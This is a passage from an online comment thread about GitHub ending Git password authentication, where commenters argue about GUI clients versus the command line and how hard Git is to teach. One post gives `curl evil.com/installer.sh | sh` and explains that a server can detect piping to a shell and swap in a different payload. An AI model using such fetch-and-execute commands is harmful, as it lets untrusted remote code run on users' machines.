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Git password authentication is shutting down

github.blog

271–280 of 353 posts

Re: Git password authentication is shutting down

#271

Earlier quoted context omitted.

Does it still take hours if you're using a client, like GitHub Desktop, SourceTree, or something like that?

No, but doing so results in learned helplessness. "Whoopsie, a fucky wucky happened and the GUI I use for git made a big mess. I'm going to delete my repo and clone it again."

So we've got the best of both worlds here. If you want to go quickly, use a GUI client, but accept you may run into problems down the road. If you want to be able to leverage more power, you'll need to spend a lot more time developing expertise with the tools.

Either way, GitHub's authentication change doesn't seem to be the problem people are making it out to be.

Re: Git password authentication is shutting down

#272
post #231

Earlier quoted context omitted.

I also have found teaching someone how to be even marginally capable of contributing to a Github project from scratch to be a very time consuming and frustrating thing. Think, having your graphics designer able to make commits, or having someone who only wants to update docs. The worst part is the "easier" solutions are actually just footguns in disguise, as soon as they accidentally click the wrong thing and end up…

I suppose contributing is easier with the built-in vs code editor now? (Press `.` when logged in.) The only thing lacking is public code spaces. I can’t even try them out without paying for GitHub Teams or GitHub Enterprise.

Wow, didn't know that shortcut existed.

I can't find `.` on this page: https://docs.github.com/en/get-started/using-github/keyboard...

Re: Git password authentication is shutting down

#273
post #260

Earlier quoted context omitted.

No, but doing so results in learned helplessness. "Whoopsie, a fucky wucky happened and the GUI I use for git made a big mess. I'm going to delete my repo and clone it again."

Why do you think using a GUI will make it more likely to fuck up your repo than a using the CLI? Most git GUIs are actually better at warning you that you might be about to do something stupid and making the consequences of you actions more visually clear.

I don't think it does. I've observed it many times. The GUIs don't understand git, have shitty defaults, resulting in unnecessary conflicts and histories which are essentially unreadable (Merge branch 'master' of ... x1000). If any error pops up, it is not read (not their fault - NOBODY reads error message boxes, everyone selects the default action within a fraction of a second), if there is a conflict, they usually cannot resolve it with the GUI, or if they do their changes are lost by accident half the time. So in practice when conflicts happen the changes are copied out, the repository deleted and cloned again (because aborting the merge or resetting the branch is unknown / unsupported by the GUI / too difficult or hidden), changes are pasted back in and committed. SUCCESS!

When you use git directly, you at least get all the tools to solve your problems. When you use (most) frontends, you don't. And you learn: If there are errors, just start over - much easier!

This is not the fault of developers, it's shitty tooling + bad tutorials + bad defaults in tooling + unsuitable defaults in git (git's defaults are for the workflow used in the kernel, NOT the workflow most git users use, which is completely different; it's actually amazing that the same tool can support both workflows pretty well, with the right config settings).

Re: Git password authentication is shutting down

#274

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You can actually detect from the server side if curl is being piped and dynamically change the payload.

Woah. How? Assume scrubber request headers.

latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.

Re: Git password authentication is shutting down

#275

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$5/m is honestly peanuts. The amount of value I get from it is way, way more than that. I pay it yearly, like I do for PHPStorm.

But if you get no value from PHPStorm you can stop paying for it and you do not lose access unlike a subscription. You just don't get new features. My issue is that I do not get £5 worth of value each month from GitKraken. I get value every couple of months, and it is to explain to other people what they are doing wrong rather than direct value for me.

Then stop paying for it.

Re: Git password authentication is shutting down

#276
post #241

Earlier quoted context omitted.

> "Such a simple idea required introducing the terminal, basic terminal commands, GitHub, git and its most common commands. It took about 3 hours for us to get through just the most basic pieces." I don't get this. "Can you imagine? Learning to program a computer took us some hours!" What do you expect? That people without prior knowledge or experience just pick up source control in seconds? I'm honestly wondering -…

You're right. A subject being difficult to master means we should do everything we can to make it difficult to learn too.

> "You're right. A subject being difficult to master means we should do everything we can to make it difficult to learn too."

Never before have humans experienced such an overabundance of learning materials (YouTube, blog posts, StackOverflow, books, courses, etc). So much of it easily accessible and available for free. The tooling continually improves.

What most people are missing these days is a goddamned attention span and a dash of humility.

This isn't about mastering source control systems (that can take years). This is about taking a complete newcomer with absolutely no background whatsoever from nothing to something in three hours, which is an absolute miracle in and of itself. Will you also complain about how hard it is to learn how to swim, paint, use chopsticks, change a tire or play chess?

Re: Git password authentication is shutting down

#277

Earlier quoted context omitted.

But if you get no value from PHPStorm you can stop paying for it and you do not lose access unlike a subscription. You just don't get new features. My issue is that I do not get £5 worth of value each month from GitKraken. I get value every couple of months, and it is to explain to other people what they are doing wrong rather than direct value for me.

Then stop paying for it.

Stop paying for what? I don't pay for GitKraken because I can't justify subscribing to software that doesn't materially change.

The risk is that they have to keep "doing stuff" to justify a subscription and we will end up with a new email client.

Re: Git password authentication is shutting down

#278

Earlier quoted context omitted.

> "Such a simple idea required introducing the terminal, basic terminal commands, GitHub, git and its most common commands. It took about 3 hours for us to get through just the most basic pieces." I don't get this. "Can you imagine? Learning to program a computer took us some hours!" What do you expect? That people without prior knowledge or experience just pick up source control in seconds? I'm honestly wondering -…

Most people want to just code, not putz around for hours wrestling with dev environments and tooling.

Are those the same people that will add security, maintainability, performance and logging "later"?

Re: Git password authentication is shutting down

#279

Earlier quoted context omitted.

Uh... you can still do that today. python3 > print(“Hello world”)

You’re missing the “install python” step. Oh and probably you should be using a package manager to do it so figure out which one’s on your system first and learn its interface. Oh and it’s best practice to create projects in a virtualenv so install that too, and learn how to use it.

The is also a JavaScript programming environment that almost every PC has, the browser. Just open any page and press F12, click the "Console" tab and type `console.log("Hello World")` and you just write your first Hello World.

Re: Git password authentication is shutting down

#280

I'm fine with this change for my usage, I don't think I've used password auth for myself or any automated service I've setup for years now. However, this will introduce more confusion for newcomers who already have to figure out what Git, GitHub, etc are. I just spent some time last weeekend teaching someone the basics of how to create a new project. Such a simple idea required introducing the terminal, basic termina…

For the love of humanity, pick a better tool to teach: Mercurial. Even teaching SVN would be easier. Both interop with github just fine. Anything but git. Git was definitely not designed for ease-of-use. Only Linus and friends need or use 90% of git's features.

All this git cargo culting among software developers isn't helping. The state of version control hasn't progressed in over a decade when there is clearly room for lots of meaningful improvements. I am not even sure whether git is effectively a regression in disguise.
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